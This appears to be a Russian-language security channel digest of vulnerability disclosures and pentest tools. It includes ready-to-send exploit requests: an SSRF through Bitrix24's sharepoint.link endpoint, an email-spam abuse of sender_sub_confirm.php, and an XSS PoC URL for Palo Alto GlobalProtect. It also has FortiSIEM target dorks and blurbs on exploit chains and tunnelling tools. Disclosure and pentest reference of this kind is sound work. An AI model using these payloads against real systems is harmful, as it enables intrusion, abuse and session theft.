Решил сделать последний в этом году пост про наш любимый битрикс:

Авторизированная SSRF в Битрикс24 через интеграцию с MS Sharepoint

В Битрикс24 существует возможность интеграции с MS Sharepoint для синхронизации различных списков: клиенты, календарь и пр. Подробнее про это можете прочитать ТУТ.
Нас же интересует здесь то, что мы можем использовать данную функциональность для SSRF-атак, главное - это иметь любую валидную учётку:

GET /bitrix/components/bitrix/sharepoint.link/ajax.php?mode=test&sp_server=http://collaborator&sp_user=&sp_pass=&sessid=... HTTP/1.1 
Host: bitrix24 
Cookie: ... 
Bx-Ajax: true

Возможно данная функциональность может встретиться и в обычном битриксе, но это я оставляю на проверку вам:D

Неавторизированный спам электронными письмами через sender_sub_confirm.php

Можно захламить любой почтовый ящик письмами о подтверждении подписки, причём для этого не нужно иметь УЗ битрикс:

POST /bitrix/tools/sender_sub_confirm.php HTTP/1.1 
Host: bitrix 
Cookie: ... 
Content-Type: application/x-www-form-urlencoded 
Content-Length: x 
 
sessid=...&sender_subscription=add&SENDER_SUBSCRIBE_EMAIL=some@some.com

На ББ вряд-ли примут, но как бага для проекта - самое то.

P.S. @FaLLenSkiLL если ты будешь добавлять это в свой Bitrix Ultimate Pentest Guide, докинь пж SSRF через /bitrix/components/bitrix/main.urlpreview/ajax.php и /bitrix/tools/html_editor_action.php, а то лень каждый раз ползти в PDFку отдельно и копировать запрос=)

SmuggleX v0.1.0 🚀

⚡️smugglex <TARGET> <FLAGS>

🔆 <TARGETS> | smugglex

🏷️Rust-powered HTTP Request Smuggling Scanner.

⭐️ Github: github.com/hahwul/smugglex

MongoBleed (CVE-2025-14847) - Unauthenticated Memory Leak PoC

https://github.com/joe-desimone/mongobleed

By @dez

#bugbountytips #bugbounty #cybersecurity

🔒 CVE‑2025‑0133 - Reflected XSS в Palo Alto GlobalProtect

🌍 Затрагивает GlobalProtect Gateway, Portal и Captive Portal
⚠️ Риск:
Выполнение JS в браузере пользователя → угон сессий, кража auth‑cookie, фишинг и другие клиентские атаки.

🧩 Суть уязвимости:
Reflected XSS в обработке параметров getconfig.esp. Триггер возможен при переходе по специально сформированной ссылке.

Уязвимость затрагивает PAN‑OS 10.2 / 11.1 / 11.2 до последних патчей.
XML/SVG‑неймспейсы могут обходить стандартные HTML‑фильтры - это ключевой момент для проверки.

🛠 Что проверить инженерам:
Обработку нестандартных атрибутов, namespace‑based конструкций и вложенных тегов.
Логи обращений к /ssl-vpn/getconfig.esp и связанным endpoint’ам.
CSP, фильтрацию и поведение периметра при передаче нестандартных параметров.
Конфигурацию Captive Portal, особенно если используется для внешних пользователей.

🛡 Рекомендации администраторам: Установить обновления PAN‑OS:
◦ 11.2 → 11.2.7
◦ 11.1 → 11.1.11
◦ 10.2 → 10.2.17
Ограничить доступ к порталу (IP allowlist, GeoIP, VPN‑only access).
Включить мониторинг аномальных запросов к GlobalProtect.
Перепроверить настройки Clientless VPN, учитывая связанные риски (PAN‑SA‑2025‑0005).

PoC:

/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1–10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer

ESC17: Using ADCS to Attack HTTPS-Enabled WSUS Clients

How to leverage misconfigured ADCS templates to gain code execution on HTTPS-enabled WSUS clients.

■■■■■ CVE-2026-21858 + CVE-2025-68613: n8n Ni8mare - Full Chain Exploit

Unauthenticated to Root RCE:
- LFI via Content-Type confusion
- Read /proc/self/environ to find HOME
- Steal encryption key + database
- Forge admin JWT token
- Expression injection sandbox bypass
- RCE as root

CVSS 10.0

https://github.com/Chocapikk/CVE-2026-21858

#responder #internal

[ Responder 3.2.0.0 ]

Responder 3.2.0.0 is out!
All new year updates +
- IMAP and SMTP StartTLS
- IMAPS TLS server on port 993
- DHCPv6 poisoning (pure python) using _dirkjan
mitm6 attacks
- Kerberos, DNS server updates
- Etc.

https://github.com/lgandx/Responder

CVE-2025-64155: Fortinet FortiSIEM Argument Injection to Remote Code Execution.

An improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiSIEM 7.4.0, FortiSIEM 7.3.0 through 7.3.4, FortiSIEM 7.1.0 through 7.1.8, FortiSIEM 7.0.0 through 7.0.4, FortiSIEM 6.7.0 through 6.7.10 may allow an unauthenticated attacker to remotely inject arguments, leading to root remote code execution.

Blog: https://horizon3.ai/attack-research/disclosures/cve-2025-64155-three-years-of-remotely-rooting-the-fortinet-fortisiem/

Dork:

ZoomEye: app="Fortinet FortiSIEM"
HUNTER : product.name="Fortinet FortiSIEM"

🔥 Готовы впитать в себя 1.1 квадриллион NTLMv1-хэшей?

Google и Mandiant вывалили 8.6 ТБ предрасчитанных радужных таблиц - 1,122,334,455,667,788 паролей.

💀 NetNTLMv1: конец эпохи

💻 < $600 железа → < 12 часов → ключ в кармане.

🛠️Что нужно? - gsutil, DownThemAll, и много свободного места.

📦 https://console.cloud.google.com/storage/browser/net-ntlmv1-tables/tables;tab=objects?pageState=("StorageObjectListTable":("f":"%255B%255D"))&pli=1&prefix=&forceOnObjectsSortingFiltering=false

📞 Microsoft fixed an authenticated RCE in Windows Telephony Service (CVE-2026-20931), discovered by our researcher Sergey Bliznyuk.

Read the write-up: https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/

Chisel-ng

A Rust implementation of chisel for penetration testing and red team operations. Establishes reverse tunnels over SSH-over-WebSocket-over-TLS, allowing operators to pivot through compromised hosts while blending with normal HTTPS traffic.

Но а я снова в гонке! (♿️)